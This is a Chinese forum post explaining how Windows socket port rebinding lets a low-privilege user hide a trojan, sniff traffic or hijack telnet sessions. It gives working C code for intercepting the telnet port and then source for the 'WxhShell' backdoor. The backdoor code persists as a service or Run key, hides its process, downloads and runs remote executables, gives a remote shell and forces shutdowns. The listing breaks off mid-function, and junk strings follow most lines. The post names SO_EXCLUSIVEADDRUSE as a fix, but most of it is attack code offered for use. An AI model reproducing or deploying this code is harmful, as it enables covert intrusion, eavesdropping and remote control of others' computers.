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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E d/O\v@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lFV|GJ  
FEmlC,%  
  saddr.sin_family = AF_INET; W1`ZS*12D  
q;Pz B4#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2^M+s\p  
(4{9 QO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WA5kX SdIb  
Y1+lk^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #}yFHM?i  
',j-n$Z^=  
  这意味着什么?意味着可以进行如下的攻击: h5keYBA  
OBSJbDqT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '="){  
 /?xn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GnaV I  
]qHO{b4k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OSIp  
 "<h#Z(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'oL[rO~j  
}PL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o9\m? ~g!E  
bLF0MVLM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d`7] reh  
BniVZCct  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MA6%g} o  
vJUB;hD  
  #include C8q-gP[  
  #include hI{Yg$H1  
  #include kl"Cm`b)  
  #include    ^D[;JV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M0 8Y  
  int main() Wh_c<E}&  
  { )yZE>>3-  
  WORD wVersionRequested; lM,:c.R  
  DWORD ret; K_3ZJ  
  WSADATA wsaData; `VN<6o(  
  BOOL val; \ y",Qq?  
  SOCKADDR_IN saddr; iL1so+di  
  SOCKADDR_IN scaddr; # t Ki6u  
  int err; o]U ==  
  SOCKET s; R"([Y#>m  
  SOCKET sc; V= PoQ9d  
  int caddsize; N *>; '  
  HANDLE mt; ^umAfk5r?H  
  DWORD tid;   i(HhL&  
  wVersionRequested = MAKEWORD( 2, 2 ); +-d>Sl (  
  err = WSAStartup( wVersionRequested, &wsaData ); \_bX2Lg  
  if ( err != 0 ) { ?,C,q5 T\  
  printf("error!WSAStartup failed!\n"); +ETw:i9!?  
  return -1; blv6  
  } LJ3UB  
  saddr.sin_family = AF_INET; -wRzMT19MG  
   -<=< T@,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Rby7X*.-v  
{*9i}w|2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _Tz!~z  
  saddr.sin_port = htons(23); bmpB$@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c3dZ1v  
  { lUd,-  
  printf("error!socket failed!\n"); ^5}3FvW  
  return -1; l/LUwDI{  
  } I|H mbTXa  
  val = TRUE; lc7]=,qyF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ta(x4fP_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b}*hodzF  
  { _P:P5H8  
  printf("error!setsockopt failed!\n"); GkFNLM5'  
  return -1; mgWtjV 8  
  } U"]i.J1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Op{Mc$5a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H<"j3qt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uItKsu  
R?Qou!*]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )FLpWE"e-  
  { 1rC'sfz  
  ret=GetLastError(); }f}&|Vap  
  printf("error!bind failed!\n"); Wwz{98,K  
  return -1; edQ><lz  
  } jg(A_V  
  listen(s,2); I1,?qr"Zr  
  while(1) Lsdu:+-  
  { :.,I4>b2  
  caddsize = sizeof(scaddr); =Sq7U^(>  
  //接受连接请求 K0]Wb=v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3^Y-P8.zdB  
  if(sc!=INVALID_SOCKET) x@=7M'vr%  
  { Z"jo xZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I f(_$>  
  if(mt==NULL) .(-3L9T}  
  { ?)&TewP  
  printf("Thread Creat Failed!\n"); .\ZxwD|  
  break; 21qhlkdc  
  } C9h8d   
  } ]O[f#lG  
  CloseHandle(mt); zri<'W  
  } Ah,Zm4:  
  closesocket(s); U;(&!Ei  
  WSACleanup(); Lv_>cFJ}[  
  return 0; (8I0%n}.Zo  
  }   ,O2F}5|;  
  DWORD WINAPI ClientThread(LPVOID lpParam) +#W5Qb}VR  
  { Pw")|85  
  SOCKET ss = (SOCKET)lpParam; r~sGot+sQA  
  SOCKET sc; ,FTF@h-Cs  
  unsigned char buf[4096]; Na=q(OKN  
  SOCKADDR_IN saddr; _]\mh,}  
  long num; 'D1@+FFU0  
  DWORD val; G/y< bPQ  
  DWORD ret; olqHa5qn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qG;WX n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |y]#-T?)t  
  saddr.sin_family = AF_INET; rg`"m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g$< @!  
  saddr.sin_port = htons(23); GB -=DC6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {f!mm3'2v  
  { s:jwwE2  
  printf("error!socket failed!\n"); )b =$!  
  return -1; y]/{W}D  
  } W>"i0p  
  val = 100; d.{RZq2cp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P"- ,^?6  
  { tDi<n}  
  ret = GetLastError(); Hi ?],5,/  
  return -1; '\9A78NV{;  
  } 9 Hm!B )Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UZ<!(g.  
  { xQN](OKG  
  ret = GetLastError(); F Hv|6zUX  
  return -1; `+<5QtD  
  } /_LUys/0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0n1y$*I4  
  { ?^yZVmAo]  
  printf("error!socket connect failed!\n"); 4b4nFRnH  
  closesocket(sc); TfJB;  
  closesocket(ss); m86w{b$8  
  return -1; PPohpdd)  
  } bJ9>,,D  
  while(1) gP<l  
  { 4Jw0m#UN1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ><$hFrR!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )2\6 Fy0S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dLv\H&  
  num = recv(ss,buf,4096,0); {4#'`Eejj  
  if(num>0) 9ah,a 4  
  send(sc,buf,num,0); sB /*gO  
  else if(num==0) wKwireOs  
  break; -FJ 5N}R  
  num = recv(sc,buf,4096,0); S9mj/GpL3  
  if(num>0) pTcm2-J  
  send(ss,buf,num,0); /\2s%b*  
  else if(num==0) #A?U_32z/2  
  break; Y,?rykRj  
  }  37{mhU  
  closesocket(ss); h(>4%hF  
  closesocket(sc); OrHnz981K  
  return 0 ; w(s"r p}  
  } KO:o GUR  
.4U::j}  
i5|!M IY  
========================================================== pi+m`O   
g,9o'fs`x  
下边附上一个代码,,WXhSHELL 2E;*kKw[  
{ImZ><xe/  
========================================================== 3<?#*z4]_  
Z5\u9E"]  
#include "stdafx.h" ]Y:|%rvVH  
5^[V%4y>  
#include <stdio.h> )j!22tlL  
#include <string.h> 'R?;T[s%  
#include <windows.h> wn5CaP(]8  
#include <winsock2.h> ^O4.$4t|  
#include <winsvc.h> 4R@3jGXb8q  
#include <urlmon.h> KI#),~n S  
6wfCC,2  
#pragma comment (lib, "Ws2_32.lib") YWjw`,EA(  
#pragma comment (lib, "urlmon.lib") mM1\s>o  
:*#I1nb$  
#define MAX_USER   100 // 最大客户端连接数 KZJ;O7'`  
#define BUF_SOCK   200 // sock buffer DTPYCG&%  
#define KEY_BUFF   255 // 输入 buffer ho;Km  
z`5d,M  
#define REBOOT     0   // 重启 KE6[u*\  
#define SHUTDOWN   1   // 关机 &.;tdT7  
Q]A;VNx  
#define DEF_PORT   5000 // 监听端口 1]m]b4]  
QVm3(;&'  
#define REG_LEN     16   // 注册表键长度 #:e52=  
#define SVC_LEN     80   // NT服务名长度 P$4G2>D8dg  
Zm^4p{I%o*  
// 从dll定义API +QqYf1@F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7;+:J;xf66  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O#uTwnW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X~G!{TT_x6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [0w @0?[  
ZV$qv=X  
// wxhshell配置信息 N{ @B@]  
struct WSCFG { f)~urGazS  
  int ws_port;         // 监听端口 gyondcF  
  char ws_passstr[REG_LEN]; // 口令 U8PSJ0ny  
  int ws_autoins;       // 安装标记, 1=yes 0=no bT2b)nf  
  char ws_regname[REG_LEN]; // 注册表键名 X~T"n<:a>  
  char ws_svcname[REG_LEN]; // 服务名 V \,Z (  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S9U,so?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,nD:W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ! jm>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d;daYjOm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a= +qR:wT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 06|+ _  
M1^,g~e  
}; Y.$ '<1  
prV:Kq;O  
// default Wxhshell configuration %qfql  
struct WSCFG wscfg={DEF_PORT, JBo/<W#|  
    "xuhuanlingzhe", M}kt q)  
    1, : " 9F.U  
    "Wxhshell", Kz:g9  
    "Wxhshell",  |W];8  
            "WxhShell Service", SQ9s  
    "Wrsky Windows CmdShell Service", eQbDs_  
    "Please Input Your Password: ", (iXo\y`z  
  1, p,.+i[V  
  "http://www.wrsky.com/wxhshell.exe", !/^i\)j>](  
  "Wxhshell.exe" ]([:"j  
    }; %"Q{|}  
2| $  
// 消息定义模块 D<B/oSy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [4KW64%l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G%_6" s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RsIR}.*  
char *msg_ws_ext="\n\rExit."; UT|FV twO  
char *msg_ws_end="\n\rQuit."; g!;k$`@{E'  
char *msg_ws_boot="\n\rReboot..."; x2(!r3a  
char *msg_ws_poff="\n\rShutdown..."; Yj99[ c#]  
char *msg_ws_down="\n\rSave to "; 5RCZv\Wd&  
]:m>pI*z.  
char *msg_ws_err="\n\rErr!"; fmC)]O%q  
char *msg_ws_ok="\n\rOK!"; {_t i*#  
bU9B2'%E  
char ExeFile[MAX_PATH]; u;rK.3o  
int nUser = 0; !{tkv4  
HANDLE handles[MAX_USER]; Xo]QV.n  
int OsIsNt; ^_BHgbS%;  
WlVp|s{TYP  
SERVICE_STATUS       serviceStatus; %y ;E1pva  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C50&SrnBU1  
3)ac  
// 函数声明 teh$W<C  
int Install(void); o7Ms]AblT  
int Uninstall(void); 9N5ptdP.d  
int DownloadFile(char *sURL, SOCKET wsh); >Q':+|K}  
int Boot(int flag); 9|#YKO\\i  
void HideProc(void); <Hw)},_*  
int GetOsVer(void); <;}jf*A  
int Wxhshell(SOCKET wsl); oxT..=-  
void TalkWithClient(void *cs); ~Vq<nkWS  
int CmdShell(SOCKET sock); ^c",!Lp}{  
int StartFromService(void); cz<8Kb/XV  
int StartWxhshell(LPSTR lpCmdLine); <>\s#Jf/  
aVsA5t\zi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3NRxf8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l`D^)~o8  
?0k(wiF  
// 数据结构和表定义 P9h]B u  
SERVICE_TABLE_ENTRY DispatchTable[] = mv9k_7<  
{ dE R#)bGj  
{wscfg.ws_svcname, NTServiceMain}, Vp{e1xpY  
{NULL, NULL} $t.i)wg +  
}; 5y]1v  
H{Tt>k  
// 自我安装 2D|2/ >[  
int Install(void) M JJ]8:%  
{ m>dZ n  
  char svExeFile[MAX_PATH]; ? tre)  
  HKEY key; hm#S4/=#  
  strcpy(svExeFile,ExeFile); `@+}zE  
*xm(K +j  
// 如果是win9x系统,修改注册表设为自启动 x;A"S  
if(!OsIsNt) { U^jxKBq^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~&-8lD];LM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "JI FF_  
  RegCloseKey(key); P(OgT/7A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -<rQOPH%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K"~Tk`[0Q  
  RegCloseKey(key); 27mGX\T  
  return 0; {z)&=v@  
    } B&^WRM;7t  
  } &' ,A2iG  
} ;A^0="x&  
else { huh-S ,M  
\~V Z Y  
// 如果是NT以上系统,安装为系统服务 @oC# k<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 08)X:@ w?  
if (schSCManager!=0) /Mk85C79  
{ 5f+ziiZ  
  SC_HANDLE schService = CreateService X r7pFw  
  ( 8`bQ,E+2  
  schSCManager, 3w&fN3 1  
  wscfg.ws_svcname, |n9~2R   
  wscfg.ws_svcdisp, Lg[v-b=?I  
  SERVICE_ALL_ACCESS, !N5+.E0j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wxjv=#3  
  SERVICE_AUTO_START, HI}$Z =C  
  SERVICE_ERROR_NORMAL, JTT"t@__  
  svExeFile, x!\FB.h4!(  
  NULL, =)Z!qjf1U  
  NULL, &P8 Run  
  NULL, s|3@\9\  
  NULL, 3Cq/ o'  
  NULL 9G8n'jWyY  
  ); Q _}i8p '  
  if (schService!=0) x;H#-^LxW=  
  { e_C9VNP  
  CloseServiceHandle(schService); JQVu&S  
  CloseServiceHandle(schSCManager); Eyw)f>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a }6Fj&hj  
  strcat(svExeFile,wscfg.ws_svcname); l!2hwRR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6;/>asf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ucm 3'j  
  RegCloseKey(key); ]7WBoC8  
  return 0;  ESOuDD2<  
    } y w"Tw  
  } <[xxCW(2  
  CloseServiceHandle(schSCManager); p7(xk6W  
} <\x/Y$jm0n  
} ^DHFP-G?e  
'#<?QE!d2  
return 1; LBtVK, ?  
} ]}9cOb%I  
wgSA6mQZ  
// 自我卸载 NFGC.<  
int Uninstall(void) t~p9iGX<  
{ (c(c MC'  
  HKEY key; D8_m_M| P  
9QJ=?bIC#  
if(!OsIsNt) { /s6':~4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >H@ dgb  
  RegDeleteValue(key,wscfg.ws_regname); ?[Q;275  
  RegCloseKey(key); U;Hu:q*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AW6]S*rh  
  RegDeleteValue(key,wscfg.ws_regname); }Evyfc#D  
  RegCloseKey(key); EA75 D&>I  
  return 0; E?&dZR  
  } [7]p\' j  
} /exV6D r  
} -]5dD VSO  
else { 'jcDfv(v<  
pw:<a2.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1*?IDYB  
if (schSCManager!=0) t=S94 ^g  
{ 2U>1-p&dn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i>T{s-3v  
  if (schService!=0) jL 8&  
  { %kNkDI  
  if(DeleteService(schService)!=0) { dT,X8 "  
  CloseServiceHandle(schService); qfppJ8L  
  CloseServiceHandle(schSCManager); n_v c}ame  
  return 0; Du$kDCU  
  }  ^]wm Y  
  CloseServiceHandle(schService); #x#.@  
  } D8h ?s  
  CloseServiceHandle(schSCManager); GfQMdLy\Z  
} wias ]u|  
} Sijwh1j*V  
<3HW!7Ad1  
return 1; ]S,I}NP  
} :@_CQc*yB  
FlVGi3  
// 从指定url下载文件 8<)[+ @$0  
int DownloadFile(char *sURL, SOCKET wsh) - K}@Gp  
{ ReKnvF~  
  HRESULT hr; JS&l h  
char seps[]= "/"; &[S)zR=?  
char *token; (U!WD`Ym  
char *file; sPkT>q  
char myURL[MAX_PATH]; *KxV;H8/  
char myFILE[MAX_PATH]; jSVb5P  
{+ [rJ_  
strcpy(myURL,sURL); _}jj>+zA`  
  token=strtok(myURL,seps); ^fnRzX  
  while(token!=NULL) ?]kIztH  
  { 3zWY%(8t4?  
    file=token; SL%4w<  
  token=strtok(NULL,seps); H W.S~eLw*  
  } FD_0FMZ9,  
_3A$z A  
GetCurrentDirectory(MAX_PATH,myFILE); L=Dx$#|  
strcat(myFILE, "\\"); ^N Et{]x  
strcat(myFILE, file); Z`b,0[rG[  
  send(wsh,myFILE,strlen(myFILE),0); XZp(Po:H  
send(wsh,"...",3,0); =5dv38  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pPQ]#v  
  if(hr==S_OK) PK3T@Qv89  
return 0; v~uwQ&AH  
else )}G HG#D{  
return 1; YqNhD6  
B TcxBh  
}  Kn\Oj=4  
*WMcE$w/D  
// 系统电源模块 lzS"NHs<g(  
int Boot(int flag) 6mRvuJ%  
{ 1grrb&K  
  HANDLE hToken; 8VMq>-  
  TOKEN_PRIVILEGES tkp; y0(k7D|\  
K3 ]hUe#  
  if(OsIsNt) { N SHlo*)}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZP%^.wxC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <PV @JJ"  
    tkp.PrivilegeCount = 1; LgUaX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jgEiemh&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZV;#ZXch  
if(flag==REBOOT) { o`RTvG Xk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *vBcT.|,  
  return 0; :4Q_\'P  
} a |z{B b  
else { w:N\]=Vh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L]HY*e  
  return 0; GVEjB;  
} B*D`KA  
  } :kFWUs=  
  else { hrcR"OZ~X  
if(flag==REBOOT) { [xI@)5Xk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y=}b/[s6;  
  return 0; 4qyL' \d[  
} N{Is2Ia  
else { Yj0Ss{Ep  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y'4=  
  return 0; Z#4? /'  
} (V e[FhA  
} \f{C2d/6j  
M}%0=VCY7  
return 1; vV=$N"bT~  
} rvr Ok  
Keof{>V=CA  
// win9x进程隐藏模块 vhhsOga  
void HideProc(void) r."Dc  
{ s*]1d*B!  
z@iY(;Qo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VK ?,8Y  
  if ( hKernel != NULL ) a_x|PbD  
  { -{L[Wt{1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :5CwRg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mH}AVje{ `  
    FreeLibrary(hKernel); .6.oqb  
  } ,"}'NH@  
g<.VW 0  
return; pu`|HaQaE  
} ?,s{M^sj^  
<ygkK5#q  
// 获取操作系统版本 JLg_oK6  
int GetOsVer(void) ~yO.R)4v  
{ j4brDlo?@  
  OSVERSIONINFO winfo; L'[ '7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ye1P5+W(  
  GetVersionEx(&winfo); yil{RfBEr_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KN+*_L-  
  return 1; Re.fS6y$>  
  else q+LjWZ+O  
  return 0; Vr5a:u'  
} KQr=;O\T  
9`c :sop  
// 客户端句柄模块 O`Z>Oon?  
int Wxhshell(SOCKET wsl) lYy0   
{ BJlF@F#  
  SOCKET wsh; !5=3Y4bg1  
  struct sockaddr_in client; h!)(R<  
  DWORD myID; ];Z_S`JR  
L!e@T'  
  while(nUser<MAX_USER) G-} zkax  
{ ;l?>+m@H  
  int nSize=sizeof(client); 'l<kY\I!%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j[Et+V?  
  if(wsh==INVALID_SOCKET) return 1; ,~G[\2~p  
s'5 jvlG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wePMBL1P*  
if(handles[nUser]==0) LFh(. }  
  closesocket(wsh); {`1zVTp[<  
else {O!fV<Vx 9  
  nUser++; A)VOv`U@2  
  } o]k[l ;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8@Y@5)Oc  
12k)Ek9  
  return 0; @c.QrKSaD  
} -|ee=BV  
ozGK -$  
// 关闭 socket !X#=Pt[,  
void CloseIt(SOCKET wsh) E%$FX' 8&  
{ @Yt[%tOF+  
closesocket(wsh); ,cj34W`FWq  
nUser--; SUvHLOA  
ExitThread(0); }*+ca>K  
} 9]kWM]B)o  
Ou,B3kuQ+  
// 客户端请求句柄 \WZ00Y,*  
void TalkWithClient(void *cs) b},OCVT?  
{ tp0^%!*9  
$R"~BZbt;  
  SOCKET wsh=(SOCKET)cs; g:OVAA  
  char pwd[SVC_LEN]; h{>8W0W*  
  char cmd[KEY_BUFF]; <hS >L1ZSr  
char chr[1]; Zb}=?fcL;@  
int i,j; m~X:KwK4  
WI~';dK2]  
  while (nUser < MAX_USER) { k deJB-  
"*TnkFTR  
if(wscfg.ws_passstr) { u6|7P<HUfb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -vhgBru  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xf$,ra"  
  //ZeroMemory(pwd,KEY_BUFF); S* <: He&1  
      i=0; a*?? !  
  while(i<SVC_LEN) { ;l~gA|A  
;:' A{&0N  
  // 设置超时 Is%-r.i  
  fd_set FdRead; $'kIo*cZ  
  struct timeval TimeOut; 6B|IbQ^  
  FD_ZERO(&FdRead); 9g " ?`_  
  FD_SET(wsh,&FdRead); M|76,2u   
  TimeOut.tv_sec=8; \}G/F!  
  TimeOut.tv_usec=0; @XB/9!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); et)A$'Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3O$Q>.0w/  
N<O^%!buR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ue~M .LZb  
  pwd=chr[0]; E+[K?W5  
  if(chr[0]==0xd || chr[0]==0xa) { 1oodw!hW  
  pwd=0; Q- j+#NGc  
  break; 8+ Hho@=  
  } ar>S_VW*  
  i++; Z\`uI+`  
    } "4i(5|whp?  
s6!aGZ  
  // 如果是非法用户,关闭 socket WEWNFTI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aq[kKS`  
} +*F ;l\R  
-pyTzC$HO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r!j_KiUy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o3j4XrK  
c00a;=ji  
while(1) { f~8Xue,l"  
[ 98)7  
  ZeroMemory(cmd,KEY_BUFF); T [&1cth  
>*k3D&  
      // 自动支持客户端 telnet标准   ANi}q9SC  
  j=0; OG/R6k.  
  while(j<KEY_BUFF) { 'tp+g3V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;S2^f;q~$  
  cmd[j]=chr[0]; Y|>y]x  
  if(chr[0]==0xa || chr[0]==0xd) { aJK8G,Vk  
  cmd[j]=0; oTT/;~I  
  break; \_CC6J0k  
  } jQ(qaX&  
  j++; 0P&rTtU6  
    } Kcl>uAgU  
~ex1,J*}t  
  // 下载文件 Pr<.ld\  
  if(strstr(cmd,"http://")) { 9;sebqC?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q4}2-}|  
  if(DownloadFile(cmd,wsh)) /vBOf;L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]N!_Ib/!  
  else $5s?m\!jZz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^4h/6^b0c  
  } #1&w fI$  
  else { 3g^_Fq'  
m ['UV2  
    switch(cmd[0]) { K!0vvP2H  
  _cQTQ  
  // 帮助 m\O<Yc keA  
  case '?': { x?y)a9&Hm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d[6[3B  
    break; ( Y'q%$  
  } ,n-M!y  
  // 安装 f{t5r  
  case 'i': { =hjff/ X  
    if(Install()) B_aLqB]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +.! F]0ju  
    else )!s f@F?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s["8QCd"r  
    break; a;r,*zZ="  
    } s9>-Q"(y  
  // 卸载 o cotO  
  case 'r': { DZ<q)EpC  
    if(Uninstall()) 96fbMP+7R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }4Ef31X8q  
    else \_bk+}WJ]s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]4^9Tw6 _b  
    break; K -cRNt  
    } ,9SBGxK5`  
  // 显示 wxhshell 所在路径 |_x U{Pu  
  case 'p': { VJ8cls<  
    char svExeFile[MAX_PATH]; Y@)/iwq  
    strcpy(svExeFile,"\n\r"); wJ,l"bnq  
      strcat(svExeFile,ExeFile); qRlS^=#  
        send(wsh,svExeFile,strlen(svExeFile),0); h mC. 5mY  
    break; nd_+g2x'  
    } _r@ FWUZ  
  // 重启 }TI"j{(QJ  
  case 'b': { 2uujA* ^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~\B1\ G  
    if(Boot(REBOOT)) 'M8wjU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kG 7]<^Os3  
    else { < Ih)h$8`  
    closesocket(wsh); {"k}C2K'r  
    ExitThread(0); uJhB>/Og  
    } >|Yr14?7  
    break; hA 1_zKZ  
    } 2%o@?Rp  
  // 关机 hilgl<UF  
  case 'd': { >d2U=Yk!  
